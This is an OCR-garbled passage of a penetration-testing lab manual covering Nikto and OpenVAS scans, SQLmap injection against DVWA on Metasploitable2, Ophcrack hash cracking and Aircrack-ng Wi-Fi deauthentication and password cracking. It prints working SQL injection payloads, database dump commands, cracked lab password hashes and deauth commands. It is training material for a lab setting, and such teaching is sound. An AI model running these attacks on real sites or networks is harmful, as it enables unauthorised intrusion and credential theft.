2.168.135.131 80 nikto-scan

, TG
t Hostname:
t Port:

. (GMT-5)

(Ubuntu) DAV/
-by header: PHP/5.2.4-2ubuntu5.10
anti-clickjacking Frame-Options header 15 not present.
X-XSS-Protection header is not defined. This header can hint to the user ent to protect against some
ntent-Type-Options header is not set. This could allow the user agent to 3 e content of the
on header 'tcn' found, with contents: list
mod_negotiation is enabled with MultiViews, which allows attackers to easily brute force file names.
1g alternatives for 'index' were found: index.php
Apach 2.8 appears to be outdated (current is at least Apache/2. ). Apache 2.2.34 is the EOL for
urns a valid response with junk HTTP methods, this may cause fal
OSVDB-877: HTTP TRACE method is acti suggesting t host is vulnerable
/phpinfo.php: Output from the phpinfo() function was found.
0SVDB-3268: /doc D tory indexing found.
e /doc/ directory is browsable. This may be /usr/doc
PHPB8B5F2A0-3C92-11d3- 9 7 10000: PHP reveals potentially sensitive information via certain

Exercise 5: To list the number of Plugins supported by Nikto
Step 1: At the command prompt, type: nikto —-list —plugin
Step 2: Press the Enter.

The screenshot below shows the list of plugins supported by Nikto:
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enumerate: Flag to indicate whether we sha attempt to enumerate
application: Application to attack

Llanguages: List of Languages

applications: List of applications

Plugin: parked
Parked Detection - Checks to see whether the host is parked at a registrar or
Written by Sullo, Copyright (C) 2011 CIRT Inc.

Plugin: msgs
Server Messages - Checks the server version against known issues.
Written by Sullo, Copyright (C) 2008 CIRT Inc.

Plugin: favicon
Favicon - Checks the web server's favicon against known favicons.
Written by Sullo, Copyright (C) 2008 CIRT Inc.

Plugin: mutiple index
Multiple Index - Checks for multiple index files
Written by Tautology, Copyright (C) 20609 CIRT Inc

pefined plugin macros:
@@DEFAULT = "@@ALL; -@G@MUTATE; tests(report:500)"

(expanded) = "drupal;report text;apache expect xss;tests(report:500);clientacce
hotiate;mutiple index;cookies;cgi; favicon;auth;parked;headers;report xml;siebel;r
"t search;report html; robots;apacheusers;outdated”

@@ALL = "ms1le ©070;paths;negotiate;subdomain;shellshock;apacheusers;report csv;re
bkies;embedded; apache expect xss;report text;fileops;ssl;put del test;sitefiles;h
eport sqlg;siebel;parked;msgs; favicon;mutiple index"

@@NONE = ™"

@@BMUTATE = "dictionary;subdomain"

# il

Experiment 4.2:  OpenVAS tool

OpenVAS (Open Vulnerability Assessment System) is an open-source
vulnerability scanner that is used to detect security vulnerabilities in systems and
networks. OpenVAS is often used by security professionals and system
administrators to identify vulnerabilities in their networks before malicious actors can
exploit them. OpenVAS has the capabilities of Finding, fixing, and managing
vulnerabilities at a go. Sit tight and relax while | take you through this experiment.

Aim: To identify security vulnerabilities in systems and networks

Objective: To carry out detailed, real-time vulnerabilities on systems and
networks.
Outcome: At the end of this experiment the learner will be able to:-

Find detail information about all the vulnerabilities and misconfiguration in a system
or a network.

3.2  Getting started with OpenVAS tool

3.2.1 Installation and Setup

Step 1: Click on the icon to open kali terminal, enter your password

Step 2: Retrieve the feeds for OpenVAS (OpenVAS usually update their feeds
from time to time)

Step 3: Type gvm —feed -update as shown in the screenshot below
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le Actions Edit View Help

Step 4: Now start up OpenVAS service
Type gvm —start at the terminal

Automatically OpenVAS display the home screen as shown in the screenshot below:

Step 5: Click sign in using your user name and password

Step 6: Click on administration and Select FEED Status

Resilience Secinfo Configuration Administration

Users
Groups
Roles

Permissions

Trashcan h
Feed Status
LDAP

—m Raows

26



Click on any task on top of the main window to see its functions as it displayed on
the dashboard.

Exercise 1: Perform a scan using OpenVAS
Step 1: Get a list of IP addresses that are up in your network using Nmap.

This can be achieved by using the “Traceroute command” on kali Linus command
prompt.

Step 2: Create a task

Step 3: Click on ‘New’ at the top left Conner of OpenVAS dashboard as shown
on the screenshot below

@|
b

=W Tasks 1 of 1

O
Name A
192.168.2.70

Step 4: Enter the name (IP address for the task) as shown on the screenshot
below

Name | NIIEEEN ]

Scan Targets v [t
Alerts v ¥

Schedule - v Dome ¥

Reports OWayah‘mvmmwmpmm reports
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Step 5: Enter all the necessary fields such as: scan target, alert type, host,
schedules. For the schedules, you can select once, weekly, monthly
or yearly scan on your network.

Step 6: Click on Save when all necessary entries are completed

Step 7: Set quality of scan to 70% depending on your computer RAM,
Memory and the network activates

Step 8: Click Scan. This might take some time. Just wait for the scan to

complete to list all the vulnerabilities on this network.

Step 9: Click on the ‘report’ icon to see all the ports that was scanned and the
detail results as shown in the two screenshots below:

O mm P@&vOn LD

@ Report:Sun, Apr 3, 2022 4:01 AM UTC s

Information Results Hosts Ports Applications Operating Systems CVEs Cosead CVEsSs TLS Certit
BOP oF 11061 (22 or 2Ty QW otST 23 of 223 S or &3 2@ o 2wy T O o
Task Nae MY NE TWeOMmK
SCam Terwe T, Agw 3. J02T A0 Ade UTCT T, Apw 3. TOIT 4% AR UTC
B Dnramsom, oSTh
Scam SRaves = ==
e N 2
Foter m-vy,o-—q-‘-ns-o e = Pl T, QoS =0
Teresore Coontmateod Urveersal Terw OUTCO

SSUTLS: Dsprecated TLSv1.0 and TLSv1.1 Mrotoce! Detection % o N IRl ooty Sen, Agr 3. 2022 434 AMUTC
SEUTLS: Deprecated TLSv1.0 and TLSV1.1 Proacel Detection = ez MN IR 101008cp Sen. Age 3. 2022 414 AMUTC
SSUTLS: Degrncated TUSv1.0 and TLS1.1 Arotocel Detection & EorEEEmm NN IRINe 100011cp Sen. Agr 3. 2022 434 AMUTC
SSL/TLS: Degrocated TLSv1.0 and TLSV). 1 rotocel Detection & I MR 192168179065 METASPLOMASLE sanec Sun. Age 3. 2022 426 AMUTC
Apache Toemcat Cal2 j5p Cross Ske SCrigting Winerabiity L o N 192168179168 METASIOTABUE 1o Sun. Age 3. 2022 435 AM UTC
PhodyAdmin ermor phe Cros See cripting Winerabiity S, ooz NN 12leaimies METASRLOTASLE e S, Agr 3. 2022 440 AM UTC
Apache NTTP Sarver MigOnly’ Cockie information Diacioure Wirerabity 2 o M 19231916 METASRLOMTASLE Lo Sen. Agr 3. 2022 4.4 AM U
S5/TLS: Degpeacated TLSv1.0 and TLG3.1 Preescel Detection ] Mn 1921170 10101A¢p Sun, Age 3. 2022 413 AMUTC
SSUTLS: Deprecated TLSL.O snd TLSVL 1 Protacel Datection & EorEEm LU AT T 13 10601800 Sen. Agr 3. 2022 411 AM UTC

Conclusion:

In this section, you were able to use the two types of vulnerability

scanning tools (Nikto and OpenVAS) on a network system. For further practical
experimental knowledge, please click on the link below to watch the you tube video,
or copy and paste the link on your web browser.

https://www.youtube.com/watch?v=LGh2SetiKaY

28


https://www.youtube.com/watch?v=LGh2SetiKaY

Week Five Exploitation

Introduction

Exploitation in the context of cybersecurity refers to the process of taking advantage
of a vulnerability in a system, network, or application to execute unauthorized
actions, such as gaining access to restricted data, controlling the system, or
spreading malware. This is often done by using specific tools, techniques, or scripts
that are designed to exploit a particular vulnerability. In this module, we are going to
carry out our exploitation using two tools, SQLmap and Metasploit.

Experiment 1: SQL Injection attack with SQLmap tool

SQLmap is an open-source penetration testing tool that automates the process of
detecting and exploiting SQL injection vulnerabilities in web applications. SQL
injection is a common web vulnerability that occurs when an attacker is able to inject
malicious SQL queries into a web application's database query, potentially gaining
unauthorized access to data, modifying or deleting it, or even executing commands
on the underlying server.

Aim: The aim of this experiment is to exploit vulnerabilities on web servers.
Objective: To carry out exploitation of a web server using SQLmap tool.
Outcome: At the end of this experiment the learner will be able to:-
Identify vulnerabilities in a system or webserver and then carry out exploitation on
this vulnerabilities. The learner will also have the ability to detect and exploit a SQL
injection vulnerability in a database.

5.1 Getting Started with SQLmap tool

Installation of Metasploit2 in a virtual machine. The Metasploit2 is hosting many
vulnerable web applications that we want to perform SQL injection attack. After the

installation of Metasploit2, you check the IP address of the metasploit2 on the virtual
machine.

Step 1: Take for example, the IP address is 192.168.54.103
Step 2: Go to the Kali Linus machine, select the web browser and click
Step 3: Type the IP address of the Metasploitable2 in the kali Linus browser

You will see all the vulnerable web applications running on the Metasploitable2 as
shown in the screenshot below:
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@8 kali [Running] - Oracle VM VirtualBox

File Machine View Input Devices Help

B mmOs| (9] M. v 04:59PM

Metasploitable2 - Linux - Mozilla Firefox

Metasploitable2 - Linux e -+

<« G ( 192.168.56.103

Kali Linux Kali Training Kali Tools # Kali Docs

Warning: Never expose this WM to an untrusted network!
Contact: msfdev[atlmetasploit.com

Login with msfa;min/msfadmin to get started

e TWiki
e phpMyAdmin
e Mutillidae

* DVWA
e WebDAV

The vulnerable web applications are: TWiki, phpMyAdmin, Multillidae, DVWA, and
WebDAV.

Step 4: Select one of the vulnerable web applications, eg Mulillidae and Click

Step 5: Click on the user ‘infor’ to open to the login window

Kali Linux Kali Training Kali Tools « Kali Docs Kali Forums NetHunter || Offensive Security Exploit-DB GHDB |

OWASP Top 10

o CS Back

Documentation 4

Resources » Please enter username and password
to view account details
Name
k
P o Password
Site View Account Details
hacked...err...quality-
tested with Samurai Dont have an account? Please register here

WTF, Backtrack,

Step 6: Enter User Name and Password.
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If the error message is wrong user name or password, then the next step is

Step 7: Copy the url on this metasploitable2 machine as shown below:

DEPW152 168.56.103

Kali Tools # Kali Docs Kali Forums NetHunter || Offensive Security Exploit-DB GHDB [| MSFU

fersion: 2.1.19 Security Level: 0 (Hosed) Hints: Disabled (O - | try harder) Not Log
Home Login/Register Toggle Hints Toggle Security Reset DB View Log View Captured Data

| View your details

Step 8: Go to the Kali Linus terminal and Paste the url address there.

Before that at the Kali Linus terminal, Type sgqlMap —h to view all the helps syntax
associated with SQLMap

Step 9: At the Kali Linus terminal: enter sqlmap —u (follow by the IP address
and the url link). Then press enter. (This will show you if there are
injectable points on this web application or not. See the screen shot

below:.
- 1R [_| =5 [Server Not Found - Moz... & Mozilla Firefox

satish@kali: ~
File Actions Edit View Help

(SELECT 8794 UNION SELECT 1910 UNION SELECT 8339 UNION SELECT 3305)a GROUP BY x)— bsLy&password=1

Type: time-based blind 1
Title: MySQL = 5.0.12 AND time-based blind (query SLEEP)
Payload: page=user-info.php&username=test’ AND (SELECT 3075 FROM (SELECT(SLEEP(5)))HUSx)— MOB

Type: UNION query

Title: MySQL UNION query (NULL) - 5 columns

Payload: page=user-info.php&username=test’' UNION ALL SELECT NULL,CONCAT(0x7170627871,0x6844725
8746f,0x717a766a71) ,NULL,NULL ,NULL#Gpassword=testsuser-info-php-submit-button=View Account Details

Parameter: password (GET)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment)
Payload: page=user-info.php&username=testépassword=test' OR NOT 4377=4377#&5user-info-php-submit

Type: error-based

Title: MySQL = 4.1 OR error-based - WHERE or HAVING clause (FLOOR)

Payload: page=user-info.php&username=test&password=test' OR ROW(9555,2787)>(SELECT COUNT(*),COl
D(@)*2))x FROM (SELECT 6289 UNION SELECT 2143 UNION SELECT 3323 UNION SELECT 3249)a GROUP BY x)—

Type: time-based blind
Title: MySQL = 5.0.12 AND time-based blind (query SLEEP)
Payload: page=user-info.php&username=test&password=test' AND (SELECT 6825 FROM (SELECT(SLEEP(5

Type: UNION query

Title: MySQL UNION query (NULL) - 5 columns

Payload: page=user-info.phpSusername=test&password=test' UNION ALL SELECT NULL,NULL,CONCAT(0x7
776c6f626a6a626e41544a43,0x717a766a71) ,NULL ,NULL#Suser-info-php-submit-button=View Account Details
there were multiple injection points, please select the one to use for following injections:
[@] place: GET, parameter: username, type: Single quoted string (default)
[1] place: GET, parameter: password, type: Single quoted string
[q] Quit

As you can see “there were multiple injection points, please insert the one to use for
the following injections.
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Step 10: We try to get the database applications that is been used.

Step 11: Type the IP address + link and press Enter as shown in the screenshot
below:

satish@kali «

File Acions Edit View Help

i+§ sqlmap -u "http://192,168,56,103/nutillidae/index. php?page=user-info. phpbusername=testapasswordztestbuser-info-php-submit-button=ViewsAccount+Details"

~dbs]

The heighted database in the screenshot below are all the database running on the
metasplotable2

Title: MySQL =2 4.1 OR error-based - WHERE or HAVING clause
Payload: page=user-info.php&Susername=test' OR ROW(3456,8621
(SELECT 8794 UNION SELECT 1910 UNION SELECT 8339 UNION SELECT

Type: time-based blind
Title: MySQL = 5.0.12 AND time-based blind (query SLEEP)
Payload: page=user-info.php&username=test’' AND (SELECT 3075

Type: UNION query

Title: MySQL UNION query (NULL) - 5 columns

Payload: page=user-info.php&username=test' UNION ALL SELECT
746F ,0x717a766a71) ,NULL ,NULL ,NULL#&password=testsuser-info-php

here were multiple injection points, please select the one to
0] place: GET, parameter: username, type: Single quoted string|
1] place: GET, parameter: password, type: Single quoted string|
q] Quit
]
] [InFO] the back-end DBMS is MySQL
ack-end DBMS: MySQL 5
] [1} ] fetching database names
vailable databases [7]:
=] GG
* ] information_schema
=] metasploit
*] mysqgl
*] owaspl®
*] tikiwiki
tikiwiki195

] [INFO] fetched data logged to text files under '/hom

ending @ 17:04:04 /2020-06-23/
s

We need to find the various tables used by these highlighted databases

Step 12: Enter the commands at the Kali Linus terminal as shown in the next
screnshot:
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File Actions Edit View Help

i~$ sqlmap -u "http://192.168.56.103/mutillidae/index. php?page=user-info.phpbusername=testbpassword=testauser-info-php-submit-buttonsViewtAccount+Details"
- dvwa —tables]

Step 13: We have selected dvwa database, then press Enter.

The results is as shown in the screenshot below:

T
Title: MySQL UNION query (NULL) - 5 columns
Payload: page=user-info.php&username=test&password=test’ UNION ALL SELECT NULL,NULL,CONCAT(0x7170627871,0x515762
776c6f626a6ab626e41544a43,0x717a766a71) ,NULL ,NULL#Guser-info-php-submit-button=View Account Details
there were multiple injection points, please select the one to use for following injections:
[@] place: GET, parameter: username, type: Single quoted string (default)
[1] place: GET, parameter: password, type: Single quoted string
[q] Quit
> 0
[ ] [1nF0] the back-end DBMS is MySQL
back-end DBMS: MySQL 5
) a1 ] fetching tables for database: 'dvwa’

Database: difENR
.

Juif ] fetched data logged to text files under '/home/satish/.local/share/sqlmap/output/192.168.56.103"
[*] ending @ 17:05:26 /2020-06-23/
= |

In the screenshot above, we have two tables “ guestbook” and “users”. Our
interest is on the users table because its contains information of username and
password. We also needs to know the columns of these users database. So we
enter the command in the Kali Linus terminal as:

File Actions Edit View Help

i~$ sqlmap -u *http://192,168.56.103/mutillidae/index.php?page=user-info.phpusername=testapassword=testouser-info-php-submit-button=ViewtAccount+Details*

-D dwa -T users —columns]

Step 14: When you press Enter, the results will be displayed as shown on the
screenshot below:
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there were multiple injection points, please select the one to use for following injections:
[0] place: GET, parameter: username, type: Single quoted string (default)
[1] place: GET, parameter: password, type: Single quoted string

[q] Quit

>0

[ ] [INFO] the back-end DBMS is MySQL

back-end DBMS: MySQL 5

[ ] fetching columns for table 'users' in database 'dvwa’'
Database:

Table: users

[6 columns]

varchar(32)
varchar(15)
varchar(70)
first_name varchar(15)
last_name varchar(15)
user_id int(6)
_____________ +

] fetched data logged to text files under '/home/satish/.local/share/sqlmap/output/192.168.56.103"
[*] ending @ 17:06:42 /2020-06-23/
s

Note: You are not supposed to attack any application without permission even if it is
vulnerable. It is a great offense.

Step 14: We need to get all information in this table by dumping its contents as
shown in the screenshot below:

File Actions Edit View Help

:~$ sqlmap -u "http://192.168.56.103/mutillidae/index.php?page=user-info.phpGusername=testépassword=testéuser-info-php-submit-button=View+Account+Details"
-D dvwa -T users —dumpf]

On pressing the enter key, the results is as shown | the screenshot below:

[1] place: GET, parameter: password, type: Single quoted string
[q] Quit
>0
[ ] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL 5
[ ] ] fetching columns for table 'users' in database 'dvwa'
[ 110 ] fetching entries for table 'users' in database 'dvwa'
[ : I ¢ ] recognized possible password hashes in column '“password™'
do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] y
[ ] ] writing hashes to a temporary file '/tmp/sqlmapnmh2_vi@3560/sqlmaphashes-uujx3gév.txt'
do you want to crack them via a dictionary-based attack? [Y/n/q] y
] using hash method 'md5_generic_passwd’

resuming password 'password' for hash '5f4dcc3b5aa765d61d8327deb882cf99"

resuming password 'abc123' for hash 'e99a18c428cb38d5f260853678922e03"

resuming password 'charley' for hash '8d3533d75ae2c3966d7e@d4fcc69216b'

resuming password 'letmein' for hash '@d107de9fSbbe4@cade3de5c71e9e9b7'

avatar password first_name

|

http://172.16. .129/dvwa/hackable/users/admin. jp, i 5f4dcc3b5aa765d61d8327deb882cf99 (password)
gordonb | http://172.16. .129/dvwa/hackable/users/gordonb. jpg €99a18c428cb38d5f260853678922e03 (abc123)
H http://172.16. .129/dvwa/hackable/users/1337.jpg 8d3533d75ae2c3966d7e0d4fcc69216b (charley)
pabla http://172.16. .129/dvwa/hackable/users/pablo. jpg Picasso 0d107de9f5bbes@cade3de5c71e9e9b7 (letmein)
smithy .16. .129/dvwa/hackable/users/smithy. jpg Smith 5f4dcc3b5aa765d61d8327deb882cf99 (password) | Bob

R e S e e Fmmmm e +

] table 'dvwa.users' dumped to CSV file '/home/satish/.local/share/sqlmap/output/192.168.56.103/dump/dvwa/users.csv’
] fetched data logged to text files under '/home/satish/.local/share/sqlmap/output/192.168.56.103"

[*] ending @ 17:09:01 /2020-06-23/
= |

In the screenshot above, the SQLMap has successfully crack the user names, their
first and last name and the hashes that correspond to each password.
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We have successfully used SQLmap to carry out injection attack on this vulnerable
database.

Summary:

As it can be seen, our attack was carried out in a virtual machine running
Metaslpoitable2. We have installed vulnerable web applications installed on this
Metasploitable2. We also use our Kali Linus and SQLMap to carry out our SQL
injection attacks.

Conclusion:
To learn more on how to carry out SQL injection using SQLMap, please click on the
link below or copy and paste the link to watch the you tube video.

https://www.youtube.com/watch?v=ghQ5|E |Ghc

Week Six Password Attack

A password attack refers to various methods used by attackers to gain unauthorized
access to systems by cracking or guessing passwords. These attacks can target
both online and offline systems, aiming to compromise the security of accounts,
devices, or data. Here are some common types of password attacks. In this module
we are going to illustrate how to use the tool known as Ophcrack tool to carry out
password attack. Ophcrack is an open-source tool used for cracking Windows
passwords. Ophcrack remains one of the most powerful tools in a security professional's
arsenal, providing a flexible and effective way to test and improve password security. It
uses rainbow tables to perform its attacks, which are precomputed tables for
reversing cryptographic hash functions. This allows Ophcrack to recover passwords
efficiently without needing to guess them sequentially.

Experiment 6.1:  Cracking Password with Ophcrack tool
Aim: The aim of this experiment is to crack a password

Objective: To carry out password cracking using Ophcrack tool.

Outcome:
At the end of this experiment the learner will be able to:-

1) Use Ophcrack tool to crack passwords from various hash formats on a
System.
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2). Carrying out dictionary attacks using wordlist

Getting Started with Ophcrack tool in kali Linus

Step 1: Make sure Ophcrack tool is installed in your Kali Linus (although
OPhcrack is preinstalled in the Kali Linus system)

Step 2: Click on Ophcrack tool from your Kali Linus application as shown in
the screenshot below:

kali kall [Running] - Oracle VM VirtualBox

File Machine View Input Devices Help

Applications Places Dec9 03:31

Step 3: Download windows XP or vista tables operating you want to crack and
save in your Kali Linus and Ophcrack. This can be downloaded from
the internet by typing Ophcrack tables on the google search browser as
shown below:

oo Applicati.. Places © FirefoxE.. Dec9 03:31

Google e 1+

(_ cu G i googh} com

Kali Linux Kall Training Kali Tools * Kali Docs Kali Forums NetHunter

Gmail Images s l ” :

Google

ophcrack tables|
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Ophcrack

. = C @

Kall Linux

sourceforge.io &

Kali Traming Kal Tools #= Kali Docs Kalli Forums NetHunter

" u All free Vista tables (11.9GB)
l.J Yorrent download

Thanks for seeding

/ Vista free (461 MB)
\, "

Success rate: 99%

Based on a dictionary of 64k words, 4k suffixes, 64 prefixes and 4 alteration rules for
of 23® passwords (274 billion)

mdSsum: 403cfS8178d7272a48819b47ca8b2et6b

‘ ’ Vista proba free (581 MB)

T

Step 4: Click on the Vista free (461MB) to download

Step 5: Go to the download folder in the Ophcrack application to view the
download Vista free tables and extract it

Step 6: Click on the Ophcrack tool to see all the downloaded tables as shown

below:

Dec9 03:32

Applicati...

ophcrack

Table Selection

Preload
on disk

Status
inactive

Table Directory
1 Vista free Jhame/toor/Downloadsftables _wvi..

Step 7:

XP free fast

* XP free small
= XP special

* XP germanvl
* XP germanv2
* Vista special

* Vistanine

* Vista eight

* Vista num

* Vista seven

-~ XP flash

* Vista eight XL
* Vista special XL

not installed
not installed
not installed
not installed
not installed
not installed
not installed
not installed
not installed
not installed
not installed
not installed
not installed

Select Vista free and Click on install

on disk
on disk
on disk
on disk
on disk
on disk
on disk
on disk
on disk
on disk
on disk
on disk

on disk

Step 8: Click on the download icon and select “pass.txt” to crack the

password as shown in the screenshot belwo:
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oo

oo Applicati.. ophcrack Dec9 03:33

Open PWDUMP file

w oor Downloads

Places Name Modified

Q Search tables_vista_free 02:01

© RecentlyUsed I MounTraint.ovpn 9.5kB 06/28/2020

 toor B pass.ixt 335bytes 01:50
Desktop B tables_vista_free.zip 410.6 MB 01:59

@ File System

» Documents

Step 9: Click open at the bottom of the opened window. The result is displayed
on the screenshot below:

oo

oo Applicati.. Places ophcrack Dec9 03:33
ophcrack

% % £ w » @ &

Load Delete Save Tables Crack Help Exit
[

Progress Statistics Preferences

User LM Hash NT Hash LM Pwd 1 LM Pwd 2
Administrator 31d6cfeOdl..
cspro f8e60c4466..
Guest 31d6cfeOdl..
HomeGroup e5d705b9%a.

Table Status Preload Progress

Vista fr.. inactive on disk

The users and their password hash appeared on the screen

Step 10: Select any of the user’s password to crack the hash to obtain the plain
text

Step 11: Select “Crack” and then click

The result of the crack is shown in the screenshot below:
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oo Applicati.. Places ophcrack Dec9 03:33

ophcrack

® % £ » %= 0 &

Save Stop Help Exit
Progress Statistics

User LM Hash NT Hash LM Pwd 1 LM Pwd 2
Administrator 31d6cfeldl.
cspro f8e60c4466.
Guest 31d6cfeOdl..
HomeGroup.. 5d705b9a..

Table Status Preload Progress
* Vista fr.. active 100% in RAM

As it can be seen on the screenshot above, the user password selected is ‘secure’

Conclusion:

The Ophcrack tool is used to crack a password using the hash table. It will also let
users know the strength of their password. It is advisable to use strong password of
at least 8 characters with special symbols. Note that it is an offence to crack any
password without given the permission to do so.

To learn more on the Ophcrack tool, please click on this link or copy the link and
paste on your browser to watch the you tube video.

https://www.youtube.com/watch?v=1w6SWA7-yRM

Week Seven Wireless Network Attacks

Introduction

Wireless attacks refer to a variety of cyberattacks targeting wireless networks and
devices. These attacks exploit the vulnerabilities in wireless communication
protocols, devices, or improperly secured wireless networks. The commonest
wireless attacks include: Eavesdropping (Passive Attacks), Man-in-the-Middle (MitM)
Attacks, Rogue Access Points etc. In this week exercise we are going to illustrate
how to use AirCrack-ng tool to carry out attacks on wireless devices.
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Aircrack-ng is a powerful suite of tools used for auditing wireless networks. It's
primarily used for network security testing, particularly focusing on Wi-Fi network
penetration testing. Aircrack-ng allows users to assess the security of wireless
networks by capturing data packets and cracking WEP and WPA/WPA2-PSK
encryption keys.

Experiment 7.1:  Cracking wifi Password with Aircrack-ng tool

Aim: The aim of this experiment is to crack WEP and WPA/WPA2 password keys

Objective: To carry out wifi penetration testing using Aircrack-ng tool.

Outcome: At the end of this experiment the learner will be able to:-
Use Aircrack-ng tool to carry out attack on wifi (wireless
network).

Getting Started with Aircrack-ng tool in kali Linus

Aircrack-ng comes pre-installed on Kali Linux. To confirm, open the terminal and
type:

Step 1: aricrack-ng —help then press Enter

If you get an output showing common aircrack-ng commands, then it is already
installed on your system and ready to use.

If not installed for any reason, use the following apt commands on the terminal
window as shown on the screenshot below:

sudo apt update

sudo apt install aircrack-ng

7.1.1 Capturing Wi-Fi Handshake Using Airodump-ng

Before attempting to crack Wi-Fi passwords, we need to capture wireless network
traffic. This traffic is used to obtain the all-important Wi-Fi handshake that verifies
clients to the network.

To capture packets, we will use the airodump-ng tool that comes with the aircrack-
ng
suite.

Step 1: Open the terminal and type airodump-ng to list available wireless interfaces
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on your system. Note down the interface name for your wireless adapter, it will look
like wlanO or wlanl

Step 2: Start the packet capture process on your wireless adapter (set to
monitor mode) targeting the access point channel. The syntax is:

airodump-ng -c [channel] --bssid [router BSSID] -w output [interface name]

Relax while | demonstrate these steps:

To confirm that the wireless card is ON,

Step 3: Open the command prompt in Kali
Step 4: Type iwconfig and press Enter

#
# iwconfig _
no wireless extensions.

IEEE 802.11lbg ESSID:off/any

Mode :Managed Access Point: Not-Associated Tx-Power=20 dBm
Retry 1long limit:7 RTS thr:off Fragment thr:off
Encryption key:off

Power Management:off

Exercise 2: To start packet capturing using Airmon-ng
Step 1: Open the Kali Linus terminal and type Airmon-ng and press Enter

This command will display the following information as shown in the screenshot
below:

airmon-ng start wlanO

Found 1 processes that could cause trouble. ]
If airodump-ng, aireplay-ng or airtun-ng stops working after
a short period of time, you may want to kill (some of) them!

PID Name

1216 dhclient3
Process with PID 1216 (dhclient3) 1is running on interface wlanO

Interface Chipset Driver

wlanO Realtek RTL8187L rti8187 - lohvO]

The screen shot above shows that the monitoring interface is Up, and we are ready
to go.
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Exercise 3: To Captures packets from wireless networks and displays
information about them, such as SSIDs, BSSIDs, signal strength,
encryption, and associated clients.

Step 1: At the command prompt, type airodmp.ng monO and press Enter

The output of this command is displayed on the screenshot below:

PWR Beacons ’ H MB | HE . ESSID

-63 - I : PSK Secure
-56 . E WPA KIP PSK IKAIKALV1
-61 C E WP (1 PSK Get your own

-28 2 S4e. WPAZ M PSK _banrke
-41 4 de  WRAZ M PSK/” weak=-2.4-Sauce

STATION W & S Probe

14:5A:05:

00:22:5F:

Exercise 4: To listen to a particular channel on a particular Mac address:

Step 1: At the command prompt, type airodump-ng —-w OURFILE —-c —bssid
58:6D:8F:AO:5B:16 monO Then press Enter:

This command results is displayed in the screenshot below:

Beacons R LS ' M | CIPHER AUTH ESSID

36

CCMP PSK barker
CCMP PSK weak-2.4-Sau
CCMP PSK DBwHOmeNet
TKIP PSK DAPOOL
TKIP PSK IKAIKALV1
CCMP PSK Schlambo
CCMP PSK Schlambo
PSK Secure
PSK westel16945
SK ema-wifi
PSK Get your own
PSK Y

COO0COO0OO0O0O0O0O0O0

WNNWOWA L

STATION PWR Rate Probe

00:22:5F:57:18:22 -38 54
14:5A:05:28:99:4C ~51 0 -

: # airodump-ng(-w DURFILE -c|[l/--bssid 58:6D:8F:A0:58:16/mon0

This command may run for some time to collect information needed for this device
on the network.

Exercise 5: Nextis to carry our de-authentication on the device.

Step 1: At the command prompt, type aireply-ng -0 0 —a 58:6D:8F:AO:5B:16
monO then Press Enter
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The screenshot of this action is shown in the screenshot below:

aireplay-ng -0 0 -a 58:6D:8F:A0:58:16 monO
waiting for beacon frame (BSSID: 58:6D:8F:A0:58:16) on channel 1
NB: t attack 1s more effective when targeting
a connected wireless client (-¢ <client's )
16:02:45 Sending DeAuth to broadcast
5:02:45 sending DeAauth to broadcast --

~w )

tAQ:
tAD:S
:AQ:
tA0:S
:AQ:S
AQ:
tAQ:

m

Sending DeAuth to broadcast =--
Sending DeAuth to broadcast
Sending DeAuth to broadcast
sending DeAuth to broadcast
Sending DeAauth to broadcast

oooommowomom
nunuununuuna
'omn Yo Lomn Tamn ] aun Lane Ve Y
Vi n
(e e Re R Re We e
mTTmTTTmMTTmT™m

OO0 00

You may stop the process (by pressing CTRL + C keys at once) and check using a
different window to know if the re-authentication was actually carried out.

Step 2: At the command line, type Is and then press Enter

2 s

OURFILE-Ol.cap OURFILE-0l.csv OURFILE-Ol.kismet.csv OURFILE-QOl.kismet.netxm]

The OURFILE-O1.cap file is listed. This shows that the de-authentication is ok.
Exercise 6: To carry out a dictionary Attack

Step 1: At the command prompt, type aircrack-ng OURFILE-O1.cap —
w/pentest/passwords/wordlists/darkcOde.lis Then press Enter

The screenshot for the result is shown below:

 # s

OURFILE-0l.cap OURFILE-0l.csv OURFILE-Ol.kismet.csv OURFILE-01l.kismet.netxm]

: # aircrack-ng OURFILE-Ol.cap =-w /pentest/passwords/wordlists/darkcOde. st}

The screenshot below shows the crack password. The crack process may take some
time, just hold on.
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Congratulations, the password has been cracked and it is circled red in the screen
shot above.

Conclusion:

It is a crime to perform this attack on a network that you are not permitted. That is
the reason our experiment is done on a virtual machine (Kali Linus, Virtual box and
other virtual machines installed in the virtual environment. The use of strong
password is required when we are connected to a wireless network.

To learn more on the use of Aircrack.ng please click on the you tube link to watch
the videos. https://www.youtube.com/watch?v=ngxzSIsP1JU

Week Eight: Digital Forensics Analysis

Introduction

Digital forensics analysis is the process of identifying, collecting, preserving,
analyzing, and presenting digital evidence in a manner that is legally admissible in a
court of law. It's a critical aspect of cybersecurity, used in both criminal investigations
and civil cases to uncover and understand digital activities.

Experiment 8.1 Using Autopsy tool in Kali Linus

Aim: Forensics analysis on hard drives, memory dumps, and mobile devices

Objective: Using Autopsy to systematically collect, analyze, and present digital
evidence in a manner that is both thorough and legally sound.

Outcome: At the end of this experiment the learner will be able to:-
Use Autopsy tool to carry out digital forensic investigation and analysis
Getting Started with Autopsy tool in kali Linus

Autopsy comes pre-installed in Kali Linus. If it is not install, you can install it following
these steps:

Step 1: Update Kali Linux

First, update your package list to ensure you have the latest information on the
available packages by typing this command at the command prompt:
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bash

sudo apt update

Step 2: Install Autopsy

Autopsy is available in the default Kali Linux repositories. Install it using the following
command:

bash

sudo apt install autopsy

Step 3: Verify Installation

After the installation is complete, verify that Autopsy is installed by typing autopsy at
the command prompt as:

bash

autopsy

Step 4: Access Autopsy
Open a browser and navigate to:

arduino

http:

You will see the Autopsy interface, where you can create new cases and begin your
forensic analysis.

Exercise 1: How to analysis a Drive Image using Kali Linus

Step 1: Login to your Kali Linus machine by using your user name and
password as shown in the screenshot below:
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I KALI I

BY OFFENSIVE SECURITY

Step 2: The next thing is to capture the Disk Image we are going to use for
analysis
Step 3: Click of the folder icon on the forensic version of Kali Linus

File Machine View Input Devices Help

Y| (@]

Go
c A o
DEVICES
a File System

[5] SANDISK
PLACES

i el

- Desktop
home
‘. Trash
NETWORK
D Browse Network

media

X

proc root

26 items: 83.6 MiB (8

Step 4: Click on the Kali terminal to take you to the command prompt
Step 5: Type sudo su at the command prompt and press Enter

The screenshot is shown below:
